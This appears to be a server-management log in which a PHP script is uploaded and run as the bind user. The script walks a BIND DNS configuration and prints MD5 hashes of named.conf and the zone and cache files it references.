MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:22:10: Establishing a connection
2026-04-24 12:22:10: 

PUT: /tmp/pkp688662

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:22:11: 

runuser -l bind -s /bin/bash -c '/tmp/pkp688662; rm /tmp/pkp688662'

2026-04-24 12:22:11: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
